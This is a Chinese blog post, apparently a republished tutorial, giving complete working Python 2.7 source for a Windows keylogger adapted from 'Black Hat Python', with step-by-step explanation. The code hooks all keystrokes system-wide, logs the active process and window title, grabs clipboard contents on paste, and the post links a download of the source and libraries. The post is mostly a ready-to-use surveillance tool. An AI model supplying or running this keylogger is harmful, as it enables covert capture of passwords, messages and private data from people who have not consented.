当前位置:   article > 正文

windows 键盘记录器(win10下测试成功)_win10自带键盘记录器

win10自带键盘记录器

源码很简单,主要就是python黑帽子中键盘记录器的内容。
操作系统环境是win10 64位,环境python2.7,
用到的第三方库pyHook,pythoncom,win32clipboard。这三个库文章最后有资源。
先看运行效果
在这里插入图片描述
从上图中可以清楚看到,首先我在记事本中输入了一些文字,接着打开了Edge浏览器,在百度中搜索了一些内容。

下面是源码

# coding=utf-8
from ctypes import *
import pythoncom
import pyHook 
import win32clipboard

user32   = windll.user32
kernel32 = windll.kernel32
psapi    = windll.psapi
current_window = None

def get_current_process():

    # 获得前台窗口句柄
    hwnd = user32.GetForegroundWindow() #1

    # 获得进程ID
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd, byref(pid)) #2

    # 保存当前的进程ID
    process_id = "%d" % pid.value

    # 申请内存
    executable = create_string_buffer("\x00" * 512)
    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)  #3

    psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) #4

    # 读取窗口标题
    window_title = create_string_buffer("\x00" * 512)
    length = user32.GetWindowTextA(hwnd, byref(window_title),512) #5

    # 输出进程相关信息
    print
    print "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value) #6
    print
  

    # 关闭句柄
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42

第一部分,定义了一些变量和一个函数get_current_process()。
这个函数的功能时获取当前活动的窗口及对应的进程ID。
在这个函数中。
#1 先调用GetForeGroundWindow函数。返回桌面上当前活动窗口的句柄。
#2 将上面获得的句柄作为参数调用GetWindowThreadProcessId。它返回对应的进程ID。
#3 打开进程,返回当前进程句柄。
#4 利用返回的句柄,获得进程对应的可执行文件的名字。
#5 通过调用GetWindowTextA函数,获得窗口标题栏中显示的文本字符。
#6 将所有的信息通过一种格式进程输出。

下面,完成键盘记录器的核心代码

def KeyStroke(event):

    global current_window   

    # 检查目标是否切换了窗口
    if event.WindowName != current_window: #1
        current_window = event.WindowName        
        get_current_process()

    # 检测按键是否为常规按键(非组合键等)
    if event.Ascii > 32 and event.Ascii < 127: #2
        print chr(event.Ascii),
    else:
        # 如果输入为CTRV-V,则获得剪贴板内容
        if event.Key == "V": #3
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            print "[PASTE] - %s" % (pasted_value),
        else:
            print "[%s]" % event.Key,

    # 返回直到下一个钩子事件被触发
    return True

# 创建和注册钩子函数管理器
kl = pyHook.HookManager() #4
kl.KeyDown = KeyStroke #5

# 注册键盘记录的钩子,然后永久执行
kl.HookKeyboard() #6
pythoncom.PumpMessages()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32

#4 定义了pyHook的HookManager管理器。
#5 将自定义的回调函数KetStroke 与 KeyDown事件进行了绑定。
#6 通过PyHook钩住了所有的按键事件,当目标按下键盘上的一个键时,KeyStroe函数就会被调用,它的参数时触发这个事件的对象。

#1 在这个函数中我们首先要做的时检查用户是否切换了窗口,如果切换了窗口,我们需要重新获取当前窗口的名字及进程信息。

#2 我们检查按键是否在可输出的ASCII码范围之内,如果是,输出即可,如果按键是修饰键(如Shift/Ctrl或Alt键)或其他非标准的按键,那么我们从事件的对象中提取按键的名称。

#3 我们检查用户是否在进行粘贴操作,如果是,我们提取剪贴板中的内容。
最后回调函数返回True来允许执行队列中的下个hook事件。

其中用到的第三方库和源码
https://download.csdn.net/download/weixin_39318421/12654631下载

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/你好赵伟/article/detail/556999
推荐阅读
相关标签
  

闽ICP备14008679号